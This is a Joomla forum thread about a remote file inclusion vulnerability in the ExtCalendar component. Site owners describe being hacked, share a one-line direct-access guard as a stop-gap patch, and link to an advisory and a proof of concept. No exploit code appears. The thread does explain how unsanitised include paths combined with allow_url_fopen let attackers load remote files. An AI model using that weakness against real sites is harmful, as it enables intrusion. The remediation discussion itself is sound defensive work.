[UPGRADE AVAIL.] ExtCalendar Vulnerability

[n0fear2]

Is there a new secure version of ExtCalender we can use?
[/quote

http://extensions.joomla.org/component/ ... Itemid,35/

Thanks alot albi m8, but can this be used with Mambo 4.5.3? 

Nice Calendar.. BUT this one can not use Pictures/Flyer/Logos ... so anyone knows a good one with able to upload flyer

[nathandiehl]

Thanks alot albi m8, but can this be used with Mambo 4.5.3? 

It might work on a mambo install, but you might seriously consider switching to Joomla!. after the forthcoming 1.5, mambo and Joomla! will continue to become more and more different.
Meaning, although it may work now, if, in six months there is a high-level security issue, the coders will fix it for 1.5 and likely will not worry about the 1.0.x codebase.

I would suggest you either convert to Joomla!, where you can obviously get more and better support, or else use a calendar component which will continue to be supported on mambo.

[Floranett]

Thanks alot albi m8, but can this be used with Mambo 4.5.3? 

It might work on a mambo install, but you might seriously consider switching to Joomla!. after the forthcoming 1.5, mambo and Joomla! will continue to become more and more different.
Meaning, although it may work now, if, in six months there is a high-level security issue, the coders will fix it for 1.5 and likely will not worry about the 1.0.x codebase.

I would suggest you either convert to Joomla!, where you can obviously get more and better support, or else use a calendar component which will continue to be supported on mambo.

Thank for the tip @nathandiehl , and I've seriously thinking about it. BUT...my site is BIG with a lot of components and modules ++ ..so Im a bit afraid not everything will work ok if I made the switch to Joomla

Can you have a look @nathandiehl  and pm me what you think?
I'll pm you my website url.

[lib99]

// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' );

insert this in extcal.php  as far as i read this fiexes the problem? RIGHT?

Read RobS' suggestion above in this discussion thread:
http://forum.joomla.org/index.php/topic ... #msg390097

You need to add those lines to every file of the extcal component.  That is a minimum fix, there still may be other problems found.

[pdstein]

I'm fairly new to Joomla and have several questions I'm hoping someone can answer to help clarify this situation.

The first issue, is as a stop-gap measure how to prevent the extCalendar from being exploited.

Put the

defined('_VALID_MOS') or die('Direct Access to this location is not allowed.');

on the top of extcalendar.php..

1) Does this plug the hole and allow you to continue using extCalendar or does it suspend access to the extCalendar?

2) What is the best way to temporarily disable extCalendar until it becomes clearer whether a security update will be released or we need to change to a new calendar component?

3) As someone else asked, in what file is the "Powered by extCalendar" text.  If that's what hackers are searching for it could help to remove that text.

The next issue is where do we go from here...

4) Is there a process for continuing the development of a component that is no longer being actively worked on by the original developer?  Can/will someone else take over the development of this component?

5) What alternative calendar components are available?  I've seen eventCal mentioned 1.5 mentioned, but consider it was only released today I'm concerned that it has not been put through its paces and could be buggy or even have security holes itself.

[countryboy]

There is a com_events and another calender that I have heard will be released tomorrow so stay tuned to the Extensions page and check that out. 

config.php has the statement in the script.  I am changing other files now.

Thanks.

[nathandiehl]

I'm fairly new to Joomla and have several questions I'm hoping someone can answer to help clarify this situation.

The first issue, is as a stop-gap measure how to prevent the extCalendar from being exploited.

Put the

defined('_VALID_MOS') or die('Direct Access to this location is not allowed.');

on the top of extcalendar.php..

1) Does this plug the hole and allow you to continue using extCalendar or does it suspend access to the extCalendar?

2) What is the best way to temporarily disable extCalendar until it becomes clearer whether a security update will be released or we need to change to a new calendar component?

3) As someone else asked, in what file is the "Powered by extCalendar" text.  If that's what hackers are searching for it could help to remove that text.

The next issue is where do we go from here...

4) Is there a process for continuing the development of a component that is no longer being actively worked on by the original developer?  Can/will someone else take over the development of this component?

5) What alternative calendar components are available?  I've seen eventCal mentioned 1.5 mentioned, but consider it was only released today I'm concerned that it has not been put through its paces and could be buggy or even have security holes itself.

1. There is no guarantee this is the only hole. It might work. It might not. Development stopped on extCal2 a few years ago.
2. There will be no security update from the developer. It has not been developed for years, and it is unreasonable to assume an official fix will be issued. (although i give a 0.05% chance we could see a fix)
3. ahhh..do a search on your local computer for the text in a file. i don't know off hand. but this isn't a very good 'anti-hacking' scheme. pretty easy to get around.
4. haven't heard of any development in several years. You are welcome to further develop the component and release an update.
5. extensions site is here: http://extensions.joomla.org  search for calendars.

[Rommulus]

I too was hit by this hack on Saturday evening, but thank goodness for BigApe

I wondered about what steps I need to take to protect my site. Is it enough to disable the ExCal modules, do I need to rename the folder they are in, or should I just uninstall the component completely?

Thanks for your advice.

DP

[RobS]

I would suggest you uninstall completely.

[norman]

I have tried the repair suggested in this forum, but the only thing holding this hack at bay are my php.ini disallow settings and my security settings in httpd.conf.

too bad no one is working on this component as it really is the best of its kind.

How can I get more information about what this exploit is trying to do? I have a copy of the one that is trying to crack my sites.

[ragots]

Is it normal to still have install.extcalendar.php in the com_extcalendar folder ?
I deleted it.
No effect on the calendar which seems to run fine without it.

I was always told all install files should be deleted.

Am I wrong ?

[RobS]

From what I remember they were only supposed to be run during the installation process.  If the component's xml file were misconfigured it could cause it to be installed like a regular file and therefore stick around after the installation process ended. 

[subliminaki]

http://www.frsirt.com/english/reference/15352

I've tried the xploit on my local server and it really works: the .txt file passed in the url is opened in the browser...

I added the two rows:

/** ensure this file is being included by a parent file */
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

and the exploit do not work again

Is it possible that it is the only patch?

I've searched for the string "global $mosConfig_absolute_path;" and i've founded it only in com_extcalendar/extcalendar.php

Anyone has any idea?

[RobS]

Yes, this is one of the ways to fix it, for now.  We are not sure if that will solve all of the problems related to that script though.  Also, make sure that you add that code to all of the files that extCalendar installed in components/com_extcalendar/ and administrator/components/com_extCalendar/.  I must advise that you try to migrate to another Calendar component as extCalendar has not been developed for a long time and could easily have more security issues.

[subliminaki]

I've seen that in the file cal_popup.php of extcalendar component there are these code lines:


/** Set flag that this is a parent file */
define( '_VALID_MOS', 1 );

why???

[joomlaturk]

Is there a new secure version of ExtCalender we can use?

http://extensions.joomla.org/component/ ... Itemid,35/

Maturity: Alpha

yeah, but eventcal is alfa version yet. that might mess up joomla very easy
installing any alfa 3P componants is not a good idea in my opinion

[Floranett]

Is there a new secure version of ExtCalender we can use?

http://extensions.joomla.org/component/ ... Itemid,35/

Maturity: Alpha

yeah, but eventcal is alfa version yet. that might mess up joomla very easy
installing any alfa 3P componants is not a good idea in my opinion

Tried it and wount work with Mombo 4.5.3.
Also been in contact with the author Kay through email telling me there probably be another version soon 

[PhilTaylor-Prazgod]

Thanks to Greg, inthe team here at Blue Flame IT Ltd, for his hard work this week where we have de-hacked over 20 websites for customers globally.

See his recent post on the Latest news of http://www.phil-taylor.com/

A number of sites have been hacked due to a security vulnerability in extcalendar. There are a couple of issues which need to be considered in relation to this. Firstly all Joomla php files (other than the index.php files) should contain a line which prevents direct access to the file froma web browser. This line does the trick:

defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ );

This should be the first line of php code in the file.

Secondly if php is configured with allow_url_fopen set to “On” then the php code will be potentially able to open files on other servers, so the programmer must be very careful not to allow global variables in include/require statements.

A patched version of extcalendar.php is available to download (Link on the blog at http://blog.phil-taylor.com/ )

More information on register_globals.  (Link on the blog at http://blog.phil-taylor.com/ )

[mediaguru]

I had a client's site get hacked.  Fixed it and they hacked it again.  So I've removed extcal since it wasn't used on this site much anyway.  We'll see if that solves it.

[richm]

3) As someone else asked, in what file is the "Powered by extCalendar" text.  If that's what hackers are searching for it could help to remove that text.

I found it in the language file for extCalendar.  There is a 'Powered by %S' defined as the signature.  I blanked it out for now, but since the search engines cache pages of your site, it is not the best fix.

[brian]

its the url they are searching for eg com_extcal....

[pdstein]

Thanks to Greg, inthe team here at Blue Flame IT Ltd, for his hard work this week where we have de-hacked over 20 websites for customers globally.

See his recent post on the Latest news of http://www.phil-taylor.com/

A number of sites have been hacked due to a security vulnerability in extcalendar. There are a couple of issues which need to be considered in relation to this. Firstly all Joomla php files (other than the index.php files) should contain a line which prevents direct access to the file froma web browser. This line does the trick:

defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ );

This should be the first line of php code in the file.

Secondly if php is configured with allow_url_fopen set to “On” then the php code will be potentially able to open files on other servers, so the programmer must be very careful not to allow global variables in include/require statements.

A patched version of extcalendar.php is available to download (Link on the blog at http://blog.phil-taylor.com/ )

More information on register_globals.  (Link on the blog at http://blog.phil-taylor.com/ )

Thanks for posting this patch.  You said, "all Joomla php files (other than the index.php files) should contain a line which prevents direct access to the file from web browser." and yet the patch you've posted only adds that line to extcalendar.php.  So, does that line need to be added to all php files for the extCalendar component to patch the security vulnerability?  Or are you saying that best practice is to add that line to all php files, but in this case you really only need to update extcalendar.php?

[svenl]

I really like this calendar component and it's mini calendar with daily pictures.

I hope that someone can take care of the component and plugins and do an update to 1.5 standard and take away the security risk in it.
This was the first time I get hacked and it took me 2-3 hours to restore everything and do the updates in the ExCals php-files.

This time it seems that the hackers didn't destroy anything or put something own on the webplace, but next time??

/Sven

[Joomlamahesh]

I also liked the component very much, but after going through varous security issues posted on this forum, a have uninstalled it and deleted all the folders relevant to it.

Even though I had applies all patches in the abovementioned discussion, made RG=off, written .htaccess file as per posts mentioned in other thread, I decided to delete the component for following reasons

1) Nobody is sure whether

defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ );
is the only problem.

2) There is no active development of this very beautiful component.

3) I don't want to get hacked again, and possibly this is the only vulnerable component I am using on my site. For other componets, either they are safe or there is no active discussion on their vulnerability.

[Gregorius]

I have not yet implemented extCalendar, but I plan to on the new version of my site which i'm working on now.  I have been looking for a calendar component for my site for ages, that can do everything i need, and this is THE ONLY ONE that does it elegantly.

Therefore, I really really really still want to use it.  I do hope somebody can patch it.. either way I will be using it anyway... a more pressing concern for me than the security concerns (i'm sure there will be a fix for it eventually) is the fact that there is no active development, and it therefore may not work for Joomla 1.5... that is the most dissappointing thing for me. 

Anyway, thats my 2c worth... i'll be watching this forum to see what becomes of this whole saga.

thanks for all the info guys
greg

[eggic]

I just registered to post these two links.  The vuneralibility talked about here has been known since April at http://forums.maroctour.com/index.php?a ... lm=default in the extcal forums.  http://forums.maroctour.com/index.php?a ... lm=default claims to have notified the Joomla Devs back on June 1st of this problem also.  The first offers a possible solution, but according to the second's description of the problem, it might not be complete.

[davidrrm]

Several of us are working on a patched version of Extcalendar. I hope we can have a release today or tomorrow.

Anyone interested in helping test this before releasing, please PM me.

If anyone else has started working on a patched ExtCalendar, please PM me as well and we can combine our efforts.

david

[Elpie]

Further to what David has said, please read this post: http://forum.joomla.org/index.php/topic ... #msg394539

[zuze]

I really like the extCalendar as well, and do not want to give it up  easily 

If to go to all the trouble to rename folder names, like com_extcalendar to something else, like com_bigbadwoolf, and all the references in the component and module files, that should make the renamed calendar invisible to any future automated attacks? 

Also, I just tested the script that I got hacked with against the identical Joomla site I have (one that I do not use anymore) by applying the script, and it gave me the same hack even with the

defined( ‘_VALID_MOS’ ) or die( ‘Restricted access’ );

inserted.

See this post for info and look at the proof of concept: http://www.securityfocus.com/archive/1/439451

What does the "sanitize variabel $mosConfig_absolute_path in extcalendar.php"  mean?



Check this post for the extcalendar

[Elpie]

That vulnerability has already been fixed in the upgrade that we should have out soon.
We are in the final testing stages now.